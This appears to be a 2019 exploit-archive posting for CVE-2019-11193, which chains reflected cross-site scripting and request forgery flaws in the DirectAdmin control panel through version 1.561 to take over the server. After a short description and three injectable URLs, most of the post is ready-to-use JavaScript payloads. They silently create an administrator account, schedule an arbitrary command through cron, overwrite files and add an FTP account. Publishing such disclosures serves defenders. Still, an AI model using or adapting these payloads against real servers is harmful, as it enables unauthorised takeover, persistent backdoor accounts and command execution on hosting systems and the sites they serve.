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DirectAdmin 1.561 Cross Site Scripting

DirectAdmin 1.561 Cross Site Scripting
Posted Apr 12, 2019
Authored by Numan OZDEMIR

DirectAdmin versions 1.561 and below suffer from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
advisories | CVE-2019-11193
MD5 | 55fb7c5c8f2bb42df534a00528ddba62

DirectAdmin 1.561 Cross Site Scripting

Change Mirror Download
# Title: DirectAdmin Multiple Vulnerabilities to Takeover the Server <= 
v1.561
# Date: 12.04.2019
# Author: Numan OZDEMIR
# Vendor Homepage: https://www.directadmin.com/
# Version: Up to v1.561.
# CVE: CVE-2019-11193
# info@infinitumit.com.tr && root@numanozdemir.com
# Detailed: https://numanozdemir.com/respdisc/directadmin.pdf

# Description:
# Multiple security vulnerabilities has been discovered in popular
server control panel DirectAdmin, by
# InfinitumIT. Attackers can combine those security vulnerabilities and
do a lot of critical action like server control takeover.
# Those vulnerabilities (Cross Site Scripting and Cross Site Request
Forgery) may cause them to happen:
# Add administrator, execute command remote (RCE), Full Backup the
Server and Upload the Own Server, webshell upload and more.

# Reflected XSS Vulnerabilities:
# https://SERVERIP:2222/CMD_FILE_MANAGER/XSS-PAYLOAD
# https://SERVERIP:2222/CMD_SHOW_USER?user=XSS-PAYLOAD
# https://SERVERIP:2222/CMD_SHOW_RESELLER?user=XSS-PAYLOAD

# Example Payloads:
# Add Administrator:
var url = "http://SERVERIP:2222/CMD_ACCOUNT_ADMIN";
var params =
"fakeusernameremembered=&fakepasswordremembered=&action=create&username=username&emai
l=test%40test.com&passwd=password&passwd2=password&notify=ye";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);

# Remote Command Execution by Cron Jobs:
var url = "http://SERVERIP:2222/CMD_CRON_JOBS";
var params =
"action=create&minute=*&hour=*&dayofmonth=*&month=*&dayofweek=*&command=command";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);

# Edit File:
var url = "http://SERVERIP:2222/CMD_ADMIN_FILE_EDITOR";
var params = "file=the-file-full-path&action=save&text=new-content";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);

# Create FTP Account:
var url = "http://SERVERIP:2222/CMD_FTP";
var params =
"fakeusernameremembered=&fakepasswordremembered=&action=create&domain=infinitumit.com.tr
&user=username&passwd=password&random=Save+Password&passwd2=password&type=domain&cu
stom_val=%2Fhome%2Fusername&create=Create";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);


# Vulnerabilities are fixed in minutes, thanks to DirectAdmin.
# InfinitumIT / For safer days...

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